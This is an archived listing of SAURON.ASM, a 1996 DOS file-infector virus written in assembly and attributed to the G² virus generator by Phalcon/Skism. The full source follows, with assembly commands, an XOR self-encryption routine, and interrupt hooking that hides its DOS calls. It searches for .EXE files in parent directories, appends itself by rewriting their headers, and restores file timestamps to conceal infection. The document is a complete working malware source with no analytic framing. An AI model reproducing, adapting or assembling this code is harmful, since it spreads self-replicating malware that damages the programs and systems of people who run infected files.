home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SAURON.ASM < prev    next >
Assembly Source File  |  1996-04-06  |  10KB  |  314 lines

  1. ; Virus generated by G² 0.70ß
  2. ; G² written by Dark Angel of Phalcon/Skism
  3.                 
  4. ; File: SAURON.ASM
  5. ;     Sauron by Ender
  6.                 
  7. id              =       'AC'
  8.                 
  9.         .model  tiny
  10.         .code   
  11.                 
  12. ; Assemble with:
  13. ; TASM /m3 filename.ASM
  14. ; TLINK /t filename.OBJ
  15.         org     0100h
  16.                 
  17. start:
  18. ENCRYPT:
  19. patchstart:
  20.         mov     bx, offset endencrypt
  21.         mov     cx, (heap-endencrypt)/2+1
  22. encrypt_loop:
  23.         db      002Eh                   ; cs:
  24.         db      0081h,0037h             ; xor word ptr [bx], xxxx
  25. encryptvalue    dw      0000h
  26.         inc     bx
  27.         inc     bx
  28.         loop    encrypt_loop
  29. endencrypt:
  30.         mov     bp, sp
  31.         int     0003h
  32. next:
  33.         mov     bp, ss:[bp-6]
  34.         sub     bp, offset next
  35.                 
  36.         push    ds
  37.         push    es
  38.                 
  39.         mov     ax, 3524h
  40.         int     0021h
  41.         push    es
  42.         push    bx
  43.                 
  44.         lea     dx, [bp+INT24]          ; ASSumes ds=cs
  45.         mov     ax, 2524h
  46.         int     0021h
  47.                 
  48.         push    cs
  49.         pop     es
  50.                 
  51.                 
  52.         push    cs
  53.         pop     es
  54.                 
  55.         push    cs
  56.         pop     ds
  57.                 
  58.         mov     dl, 0000h               ; Default drive
  59.         mov     ah, 0047h               ; Get directory
  60.         lea     si, [bp+offset origdir+1]
  61.         int     0021h
  62.                 
  63.         lea     dx, [bp+offset newDTA]
  64.         mov     ah, 001Ah               ; Set DTA
  65.         int     0021h
  66.                 
  67.         push    ds
  68.         push    es
  69.                 
  70.         mov     ax, 3521h               ; get int 21h handler
  71.         int     0021h
  72.                 
  73.         push    es
  74.         pop     ds
  75.         xchg    bx, dx
  76.         mov     ax, 2503h               ; set int 3 = int 21h handler
  77.         int     0021h
  78.                 
  79.         pop     es
  80.         pop     ds
  81.         lea     si, [bp+offset origCSIP]
  82.         lea     di, [bp+offset origCSIP2]
  83.         movsw   
  84.         movsw   
  85.         movsw   
  86.         movsw   
  87.                 
  88.         mov     byte ptr [bp+numinfect], 0000h
  89. traverse_loop:
  90.         lea     dx, [bp+offset EXEmask]
  91.         call    infect
  92.         cmp     [bp+numinfect], 0004h
  93.         jae     exit_traverse           ; exit if enough infected
  94.                 
  95.         mov     ah, 003Bh               ; CHDIR
  96.         lea     dx, [bp+offset dot_dot] ; go to previous dir
  97.         int     0003h
  98.         jnc     traverse_loop           ; loop if no error
  99.                 
  100. exit_traverse:
  101.                 
  102.         lea     si, [bp+offset origdir]
  103.         mov     byte ptr [si], '\'
  104.         xchg    dx, si
  105.         mov     ah, 003Bh               ; restore directory
  106.         int     0003h
  107.                 
  108.         pop     dx
  109.         pop     ds
  110.         mov     ax, 2524h
  111.         int     0003h
  112.                 
  113.         pop     ds
  114.         pop     es
  115.                 
  116.         mov     dx, 0080h               ; in the PSP
  117.         mov     ah, 001Ah               ; restore DTA to default
  118.         int     0003h
  119.                 
  120. restore_EXE:
  121.         mov     ax, ds
  122.         add     ax, 0010h
  123.         add     cs:[bp+word ptr origCSIP2+2], ax
  124.         add     ax, cs:[bp+word ptr origSPSS2]
  125.         cli     
  126.         mov     ss, ax
  127.         mov     sp, cs:[bp+word ptr origSPSS2+2]
  128.         sti     
  129.         db      00EAh
  130. origCSIP2       dd      ?
  131. origSPSS2       dd      ?
  132. origCSIP        dd      0fff00000h
  133. origSPSS        dd      ?
  134.                 
  135. return:
  136.         ret     
  137. INT24:
  138.         mov     al, 0003h
  139.         iret    
  140.                 
  141. infect:
  142.         mov     ah, 004Eh               ; find first
  143.         mov     cx, 0007h               ; all files
  144. findfirstnext:
  145.         int     0003h
  146.         jc      return
  147.         lea     dx, [bp+newDTA+30]
  148.         mov     ax, 4300h
  149.         int     0003h
  150.         jc      return
  151.         push    cx
  152.         push    dx
  153.                 
  154.         mov     ax, 4301h               ; clear file attributes
  155.         push    ax                      ; save for later use
  156.         xor     cx, cx
  157.         int     0003h
  158.                 
  159.         lea     dx, [bp+newDTA+30]
  160.         mov     ax, 3D02h
  161.         int     0003h
  162.         xchg    ax, bx
  163.                 
  164.         mov     ax, 5700h               ; get file time/date
  165.         int     0003h
  166.         push    cx
  167.         push    dx
  168.                 
  169.         mov     cx, 001Ah
  170.         mov     ah, 003Fh
  171.         lea     dx, [bp+offset readbuffer]
  172.         int     0003h
  173.                 
  174.         xor     dx, dx
  175.         mov     ax, 4202h
  176.         xor     cx, cx
  177.         int     0003h
  178.                 
  179.         cmp     word ptr [bp+offset readbuffer], 'ZM'
  180.         jnz     jmp_close
  181.                 
  182. checkEXE:
  183.         cmp     word ptr [bp+offset readbuffer+10h], id
  184.         jnz     skipp
  185. jmp_close:
  186.         jmp     close
  187. skipp:
  188.                 
  189.         lea     di, [bp+origCSIP]
  190.         lea     si, [bp+readbuffer+14h]
  191.         movsw                           ; Save original CS and IP
  192.         movsw   
  193.                 
  194.         sub     si, 000Ah
  195.         movsw                           ; Save original SS and SP
  196.         movsw   
  197.                 
  198.         push    bx                      ; save file handle
  199.         mov     bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
  200.         mov     cl, 0004h
  201.         shl     bx, cl
  202.                 
  203.         push    dx                      ; Save file size on the
  204.         push    ax                      ; stack
  205.                 
  206.         sub     ax, bx                  ; File size - Header size
  207.         sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
  208.                 
  209.         mov     cx, 0010h
  210.         div     cx                      ; DX:AX/CX = AX Remainder DX
  211.                 
  212.         mov     word ptr [bp+readbuffer+10h], id ; Initial SP
  213.         mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  214.         mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
  215.         mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
  216.                 
  217.         mov     si, dx                  ; save entry point
  218.         pop     ax                      ; Filelength in DX:AX
  219.         pop     dx
  220.                 
  221.         add     ax, heap-start
  222.         adc     dx, 0000h
  223.                 
  224.         mov     cl, 0009h
  225.         push    ax
  226.         shr     ax, cl
  227.         ror     dx, cl
  228.         stc     
  229.         adc     dx, ax
  230.         pop     ax
  231.         and     ah, 0001h
  232.                 
  233.         mov     word ptr [bp+readbuffer+2], ax ; the EXE header.
  234.         mov     word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
  235.                 
  236.         pop     bx                      ; restore file handle
  237.                 
  238. get_encrypt_value:
  239.         mov     ah, 002Ch               ; Get current time
  240.         int     0003h
  241.                 
  242.         or      dx, dx                  ; Check if encryption value = 0
  243.         jz      get_encrypt_value       ; Get another if it is
  244.                 
  245.         add     si, (offset endencrypt-offset encrypt)
  246.         mov     word ptr ds:[bp+patchstart+1], si
  247.         mov     word ptr ds:[bp+encryptvalue], dx
  248.                 
  249.         lea     di, [bp+offset encryptbuffer]
  250.         mov     cx, (heap-encrypt)/2
  251.         lea     si, [bp+offset ENCRYPT]
  252.         push    si
  253.         rep     movsw                   ; copy virus to buffer
  254.                 
  255.         lea     ax, [bp+offset endencrypt-encrypt+encryptbuffer]
  256.         mov     word ptr ds:[bp+patchstart+1], ax
  257.         pop     si
  258.         push    [bp+offset endencrypt]
  259.         mov     byte ptr [bp+offset endencrypt], 00C3h ; retn
  260.         push    bx
  261.         call    si                      ; encrypt virus in buffer
  262.         pop     bx
  263.         pop     word ptr [bp+offset endencrypt]
  264.                 
  265.                 
  266.         mov     ah, 0040h
  267.         mov     cx, heap-encrypt
  268.         lea     dx, [bp+offset encryptbuffer]
  269.         int     0003h
  270.                 
  271.         mov     ax, 4200h
  272.         xor     cx, cx
  273.         xor     dx, dx
  274.         int     0003h
  275.                 
  276.                 
  277.         lea     dx, [bp+offset readbuffer]
  278.         mov     ah, 0040h
  279.         mov     cx, 001Ah
  280.         int     0003h
  281.                 
  282.         inc     [bp+numinfect]
  283.                 
  284. close:
  285.         mov     ax, 5701h               ; restore file time/date
  286.         pop     dx
  287.         pop     cx
  288.         int     0003h
  289.                 
  290.         mov     ah, 003Eh
  291.         int     0003h
  292.                 
  293.         pop     ax                      ; restore file attributes
  294.         pop     dx                      ; get filename and
  295.         pop     cx                      ; attributes from stack
  296.         int     0003h
  297.                 
  298.         mov     ah, 004Fh               ; find next
  299.         jmp     findfirstnext
  300.                 
  301. creator         db      'Ender',0
  302. virusname       db      'Sauron',0
  303. EXEmask         db      '*.EXE',0
  304. dot_dot         db      '..',0
  305.                 
  306. heap:
  307. encryptbuffer   db      (heap-encrypt)+1 dup (?)
  308. newDTA          db      43 dup (?)
  309. origdir         db      65 dup (?)
  310. numinfect       db      ?
  311. readbuffer      db      1ah dup (?)
  312. endheap:
  313.         end     start
  314.